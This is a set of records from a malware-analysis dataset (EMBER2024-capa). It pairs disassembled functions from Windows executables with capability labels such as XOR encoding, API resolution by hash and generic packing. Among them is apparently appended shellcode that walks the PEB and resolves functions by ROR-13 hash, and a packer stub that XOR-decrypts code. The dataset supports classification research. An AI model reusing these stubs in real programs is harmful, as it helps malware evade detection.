joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000da80
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax + 0x28], ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
xor eax, eax
pop ebp
ret

Function at 0x1000dcc5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [0x10039c98]
mov ebx, eax
push edi
mov eax, esi
call fcn.1000ea79
test eax, eax
jne 0x1000ddc7
mov ecx, dword [0x10039c9c]
cmp ecx, 1
jl 0x1000ddc4
cmp ecx, 0x80
jg 0x1000ddc4
mov eax, dword [ebp + 0xc]
xor edx, edx
div ecx
test edx, edx
jne 0x1000ddc4
test cl, 3
jne 0x1000ddc4
mov edx, esi
imul edx, edx, 0x60
mov edx, dword [edx + 0x1003d910]
test edx, edx
je 0x1000dd3d
push 0x10039d20
push 0x10039ca0
push eax
push ebx
push dword [ebp + 8]
call edx
add esp, 0x14
jmp 0x1000ddc7
cmp dword [ebp + 0xc], 0
je 0x1000ddc0
mov edi, 0x10039ca0
jmp 0x1000dd50
mov esi, dword [0x10039c98]
xor edx, edx
test ecx, ecx
jle 0x1000dd77
mov ecx, dword [ebp + 8]
sub ecx, edi
lea eax, [edx + 0x10039ca0]
mov esi, dword [ecx + eax]
xor dword [eax], esi
add edx, 4
cmp edx, dword [0x10039c9c]
jl 0x1000dd5b
mov esi, dword [0x10039c98]
imul esi, esi, 0x60
push 0x10039d20
push ebx
push edi
call dword [esi + 0x1003d8f4]
add esp, 0xc
test eax, eax
jne 0x1000ddc7
mov ecx, dword [0x10039c9c]
xor edx, edx
test ecx, ecx
jle 0x1000ddb6
mov esi, ebx
sub esi, edi
lea eax, [edx + 0x10039ca0]
mov ecx, dword [esi + eax]
mov dword [eax], ecx
mov ecx, dword [0x10039c9c]
add edx, 4
cmp edx, ecx
jl 0x1000dd9e
add dword [ebp + 8], ecx
add ebx, ecx
sub dword [ebp + 0xc], ecx
jne 0x1000dd4a
xor eax, eax
jmp 0x1000ddc7
push 0x10
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000e106
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10032628]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x1003adc0]
push edi
mov ebx, ecx
mov edi, edx
mov eax, esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], edi
call fcn.1000ea79
test eax, eax
jne 0x1000e213
mov ecx, dword [0x1003adc4]
cmp ecx, 1
jl 0x1000e210
cmp ecx, 0x80
jg 0x1000e210
mov eax, dword [ebp + 8]
xor edx, edx
div ecx
test edx, edx
jne 0x1000e210
test cl, 3
jne 0x1000e210
mov ecx, esi
imul ecx, ecx, 0x60
mov ecx, dword [ecx + 0x1003d914]
test ecx, ecx
je 0x1000e191
push 0x1003ae48
push 0x1003adc8
push eax
push edi
push ebx
call ecx
add esp, 0x14
jmp 0x1000e213
cmp dword [ebp + 8], 0
je 0x1000e20c
jmp 0x1000e19f
mov esi, dword [0x1003adc0]
imul esi, esi, 0x60
push 0x1003ae48
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [esi + 0x1003d8f8]
add esp, 0xc
test eax, eax
jne 0x1000e213
mov eax, dword [0x1003adc4]
xor edi, edi
test eax, eax
jle 0x1000e1fc
mov ecx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov eax, 0x1003adc8
sub esi, ebx
sub ebx, eax
sub ecx, eax
mov dword [ebp - 0x20], ecx
lea eax, [edi + 0x1003adc8]
lea edx, [ebx + eax]
mov ecx, dword [esi + edx]
xor ecx, dword [eax]
mov edx, dword [edx]
mov dword [eax], edx
mov edx, dword [ebp - 0x20]
mov dword [edx + eax], ecx
mov eax, dword [0x1003adc4]
add edi, 4
cmp edi, eax
jl 0x1000e1d8
mov ebx, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
add ebx, eax
sub dword [ebp + 8], eax
mov dword [ebp - 0x1c], ebx
jne 0x1000e199
xor eax, eax
jmp 0x1000e213
push 0x10
pop eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d2ee
leave
ret
Function at 0x1000f160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebx + 0x70]
mov eax, esi
call fcn.1000f050
test eax, eax
jne 0x1000f2a0
imul esi, esi, 0x68
push edi
mov edi, dword [esi + 0x1003e9e0]
push dword [esi + 0x1003e9e4]
mov dword [ebp - 8], edi
call fcn.100158ef
push edi
mov dword [ebp - 4], eax
call fcn.100158ef
cmp dword [ebp - 4], 0
pop ecx
mov edi, eax
pop ecx
mov dword [ebp - 0xc], edi
je 0x1000f291
test edi, edi
je 0x1000f288
push edi
push ebx
call dword [esi + 0x1003ea34]
mov edi, eax
xor eax, eax
pop ecx
pop ecx
cmp edi, eax
jne 0x1000f266
cmp dword [esi + 0x1003e9e4], eax
jbe 0x1000f1ec
mov ecx, dword [ebx + 0xe8]
mov cl, byte [ecx + eax]
mov edx, dword [ebp - 4]
xor cl, 0x5c
mov byte [eax + edx], cl
inc eax
cmp eax, dword [esi + 0x1003e9e4]
jb 0x1000f1d1
push ebx
call dword [esi + 0x1003ea2c]
mov edi, eax
pop ecx
test edi, edi
jne 0x1000f266
push dword [esi + 0x1003e9e4]
push dword [ebp - 4]
push ebx
call dword [esi + 0x1003ea30]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1000f266
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
call dword [esi + 0x1003ea30]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1000f266
push dword [ebp - 4]
push ebx
call dword [esi + 0x1003ea34]
pop ecx
pop ecx
mov edi, eax
xor ecx, ecx
cmp edi, ecx
jne 0x1000f266
cmp dword [ebp - 8], ecx
jbe 0x1000f25f
mov esi, dword [ebp - 4]
sub esi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp ecx, dword [eax]
jae 0x1000f25f
mov eax, dword [ebp + 8]
add eax, ecx
mov dl, byte [esi + eax]
inc ecx
mov byte [eax], dl
cmp ecx, dword [ebp - 8]
jb 0x1000f248
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
xor edi, edi
push dword [ebx + 0xe8]
call fcn.10015812
push dword [ebp - 0xc]
call fcn.10015812
push dword [ebp - 4]
call fcn.10015812
add esp, 0xc
mov eax, edi
jmp 0x1000f29f
push dword [ebp - 4]
call fcn.10015812
pop ecx
test edi, edi
je 0x1000f29c
push edi
call fcn.10015812
pop ecx
push 0xd
pop eax
pop edi
pop esi
leave
ret
Function at 0x1000f2a3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, eax
call fcn.1000f050
test eax, eax
jne 0x1000f2de
push esi
mov esi, ebx
imul esi, esi, 0x68
mov dword [edi + 0x70], ebx
mov eax, dword [esi + 0x1003e9e0]
push dword [esi + 0x1003e9e4]
mov dword [ebp - 4], eax
call fcn.100158ef
pop ecx
mov dword [ebp - 8], eax
test eax, eax
jne 0x1000f2e1
push 0xd
pop eax
pop esi
pop ebx
leave
ret
push dword [esi + 0x1003e9e4]
call fcn.100158ef
pop ecx
mov dword [edi + 0xe8], eax
test eax, eax
jne 0x1000f307
push 0xd
pop ebx
push dword [ebp - 8]
call fcn.10015812
pop ecx
mov eax, ebx
jmp 0x1000f2dd
mov ecx, dword [esi + 0x1003e9e4]
cmp ecx, 0x10
jae 0x1000f34f
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push 0x10
push 0x1003cfa0
mov eax, ebx
call fcn.1000e366
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x1000f3cf
mov eax, dword [esi + 0x1003e9e4]
cmp dword [ebp - 4], eax
jae 0x1000f37f
sub eax, dword [ebp - 4]
push eax
mov eax, dword [edi + 0xe8]
add eax, dword [ebp - 4]
jmp 0x1000f377
push 0x10
push 0x1003cfa0
push eax
call fcn.1001c2f0
mov eax, dword [esi + 0x1003e9e4]
add esp, 0xc
cmp eax, 0x10
jbe 0x1000f37f
add eax, 0xfffffff0
push eax
mov eax, dword [edi + 0xe8]
add eax, 0x10
push eax
call fcn.1000f01d
pop ecx
pop ecx
xor eax, eax
cmp dword [esi + 0x1003e9e4], eax
jbe 0x1000f3a4
mov ecx, dword [edi + 0xe8]
mov cl, byte [ecx + eax]
mov edx, dword [ebp - 8]
xor cl, 0x36
mov byte [eax + edx], cl
inc eax
cmp eax, dword [esi + 0x1003e9e4]
jb 0x1000f389
push edi
call dword [esi + 0x1003ea2c]
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x1000f3cf
push dword [esi + 0x1003e9e4]
push dword [ebp - 8]
push edi
call dword [esi + 0x1003ea30]
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x1000f2fa
push dword [edi + 0xe8]
call fcn.10015812
pop ecx
jmp 0x1000f2fa
Function at 0x1001d2ee
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10032628]
jne 0x1001d2f8
repz ret
jmp fcn.100210c2

Function at 0x1001f165
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1001a502
and dword [ebp - 4], 0
cmp dword [0x1003981c], 0
mov ebx, eax
jne 0x1001f216
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001f2c7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1001f2c7
push eax
call fcn.1001a490
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1003981c], eax
call esi
push eax
call fcn.1001a490
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10039820], eax
call esi
push eax
call fcn.1001a490
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10039824], eax
call esi
push eax
call fcn.1001a490
pop ecx
mov dword [0x1003982c], eax
test eax, eax
je 0x1001f216
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1001a490
pop ecx
mov dword [0x10039828], eax
mov eax, dword [0x10039828]
cmp eax, ebx
je 0x1001f26e
cmp dword [0x1003982c], ebx
je 0x1001f26e
push eax
call fcn.1001a50b
push dword [0x1003982c]
mov esi, eax
call fcn.1001a50b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001f26e
test edi, edi
je 0x1001f26e
call esi
test eax, eax
je 0x1001f265
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001f265
test byte [ebp - 0xc], 1
jne 0x1001f26e
or dword [ebp + 0x10], 0x200000
jmp 0x1001f2a7
mov eax, dword [0x10039820]
cmp eax, ebx
je 0x1001f2a7
push eax
call fcn.1001a50b
pop ecx
test eax, eax
je 0x1001f2a7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001f2a7
mov eax, dword [0x10039824]
cmp eax, ebx
je 0x1001f2a7
push eax
call fcn.1001a50b
pop ecx
test eax, eax
je 0x1001f2a7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1003981c]
call fcn.1001a50b
pop ecx
test eax, eax
je 0x1001f2c7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001f2c9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411901
Capabilities:
Resolve function by hash

Disassembly:
push 0x4012f0
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], al
dec ebp
xor eax, ebx
or al, 0x4c
push es
inc ebp
lcall 0xe566, 0xac73e783
cmp al, 0
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x79], bh
push 0x776e7367
imul eax, dword [eax], 0
add byte [eax], al
add byte cs:[eax], al
add byte [eax], al
push es
add byte [eax], al
add byte [eax + 0x37], bh
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax], ah
das
inc eax
add byte [edi], al
add byte [eax], al
add ah, bl
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x700402e], al
add byte [eax], al
add byte [esi + ebp], bh
inc eax
add byte [edi], al
add byte [eax], al
add ah, dh
sub eax, 0x70040
add byte [eax], al
mov al, 0x2d
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x2d], ch
inc eax
add byte [edi], al
add byte [eax], al
add byte [ebp + 0x70040], ah
add byte [eax], al
shr byte [eax + eax*2], 1
add byte [edi], al
add byte [eax], al
add byte [esp + ebp + 0x70040], cl
add byte [eax], al
and al, 0x2c
inc eax
add byte [edi], al
add byte [eax], al
add al, bl
sub eax, dword [eax]
pop es
add byte [eax], al
add byte [ebx + ebp + 0x70040], dl
add byte [eax], al
cmp al, 0x2b
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x2a], dh
inc eax
add byte [esi + 0x42], dl
xor eax, 0x2a263621
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or al, byte [eax]
or dword [eax + eax], eax
add byte [eax], al
add byte [eax], al
add byte [esi + edx], ch
inc eax
add ah, bl
sbb dword [eax], eax
add al, 0xf8
xor byte [ecx], al
add bh, bh
invalid
push ebx
push esi
push edi
push ebp
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4118c7
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4118be
cmp edi, 0x6a4abc5b
mov ebp, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4118b6
call 0x411901
or eax, 0x776c6873
popal
jo 0x411951
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x411901
mov edi, 0xec0e4e8e
call fcn.00411a57
mov edx, dword [esp]
inc edx
push edx
call eax
push ebp
mov ebp, eax
mov edi, 0x2de87c46
call fcn.00411a57
pop ebp
call fcn.00411a49
mov edx, dword [esp]
inc edx
xor ebx, ebx
push ebx
push ebx
push ebx
push edx
call eax
test eax, eax
jne 0x41194e
mov edi, 0xca2bd06b
call fcn.00411a57
call fcn.00411958
xor ebx, ebx
push ebx
push ebx
push ebp
push ecx
push ebx
push ebx
call eax
pop eax
pop ebp
pop edi
pop esi
pop ebx
jmp 0x401220
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x23e17cea
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data_1
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0xd3b6068
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420004]
jne 0x40100a
repz ret
jmp fcn.0040130e

Function at 0x4054c3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004034d1
and dword [ebp - 0x14], 0
cmp dword [0x42295c], 0
mov dword [ebp - 0x18], eax
jne 0x405576
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40561e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40561e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42295c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x422960], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x422964], eax
call edi
push eax
call esi
mov dword [0x42296c], eax
test eax, eax
je 0x405576
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x422968], eax
mov eax, dword [0x422968]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4055cf
cmp dword [0x42296c], ecx
je 0x4055cf
push eax
call esi
push dword [0x42296c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4055cf
test ebx, ebx
je 0x4055cf
call edi
test eax, eax
je 0x4055c6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4055c6
test byte [ebp - 8], 1
jne 0x4055cf
or dword [ebp + 0x10], 0x200000
jmp 0x405602
mov eax, dword [0x422960]
cmp eax, dword [ebp - 0x18]
je 0x405602
push eax
call esi
test eax, eax
je 0x405602
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405602
mov eax, dword [0x422964]
cmp eax, dword [ebp - 0x18]
je 0x405602
push eax
call esi
test eax, eax
je 0x405602
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42295c]
call esi
test eax, eax
je 0x40561e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405620
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret

Function at 0x41c090
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0x20
add dword [ebp - 4], 0x20
mov edx, dword [0x1ef4de4]
mov eax, dword [0x1ef4b08]
xor ecx, ecx
mov word [0x1ef4e00], cx
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
mov dword [0x1ef4dec], 0x6e0072
mov dword [0x1ef4df0], 0x6c0065
mov dword [0x1ef4df4], 0x320033
mov dword [0x1ef4df8], 0x64002e
mov dword [0x1ef4dfc], 0x6c006c
mov dword [0x1ef4de8], 0x65006b
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x41c2c0
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x420dd0]
sub esp, 0x10
push ebx
mov ebx, dword [0x1ef4b08]
push edi
mov edi, dword [0x1ef4de4]
push eax
call fcn.0041c1e0
add esp, 4
cmp dword [0x1ef4de4], 0x2f
jne 0x41c31d
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.0041c230
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41c5a0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
xor edi, edi
cmp dword [0x1ef4de4], 0x8cf
jne 0x41c5d6
push 0
push 0
call ebx
cmp edi, 0x845013
jne 0x41c5ed
mov eax, dword [0x421bf0]
add eax, 0xa231
mov dword [0x1ef4de4], eax
cmp dword [0x1ef4de4], 0x141
jne 0x41c61b
push str.viwesorihefukenapedumate_ronofo_virejesirahipuj_cafaloteceselu_dizupucucakixucafukiz
lea ecx, [ebp - 0x804]
push ecx
call esi
mov dword [0x422e80], 0xec58acac
mov dword [0x422e84], 0xffffffff
inc edi
cmp edi, 0xbbe2a98
jl 0x41c5c4
call fcn.0041c330
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret 0x10

Function at 0x8003b13
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x800438c], 0x30
mov dword [0x8004394], 0x8003424
mov dword [0x8004390], 2
mov dword [0x8004398], 0
mov dword [0x800439c], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b56
mov dword [0x80043a0], eax
mov dword [0x80043b4], 0x80041cc
mov dword [0x80043ac], 0xf
mov dword [0x80040ee], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043a4], eax
mov dword [0x80043b8], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x80040f6], ebp
mov dword [0x80043a8], eax
push 0x800438c
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x800440c], eax
push 0
push dword [0x80040ee]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x8004404], eax
push 1
push dword [0x8004404]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x8004404]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c14
xor edi, edi
lea ebx, [0x80043bc]
jmp 0x8003c2c
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c1e
jmp 0x8003c40
mov eax, dword [0x80043c4]
call 0x8002b1f
ret
Function at 0x403360
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403393
call fcn.00403340
test eax, eax
je 0x403393
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 8]
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403400
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403434
call fcn.00403340
cmp eax, 7
jb 0x403434
mov edx, 7
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 0xc]
shr eax, 0x1d
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403440
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403473
call fcn.00403340
test eax, eax
je 0x403473
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 8]
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403570
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x88f074]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x4035b9
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4035b9
push 0xc00
call eax
test eax, eax
jne 0x40364e
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x40364e
cmp ecx, 0x104
ja 0x40364e
cmp word [ebp + ecx*2 - 0x2d6], 0x5c
je 0x4035f2
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x2d4], ax
inc ecx
mov al, byte [str.userenv]
push esi
mov esi, str.userenv
test al, al
je 0x40364d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
lea edi, [ebp - 0x2d4]
lea edi, [edi + ecx*2]
mov ecx, edi
inc esi
movzx eax, al
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
mov al, byte [esi]
inc esi
test al, al
jne 0x403615
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov dword [ecx + 4], 0x6c006c
call ebx
mov al, byte [esi]
test al, al
jne 0x403612
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00444015
mov esp, ebp
pop ebp
ret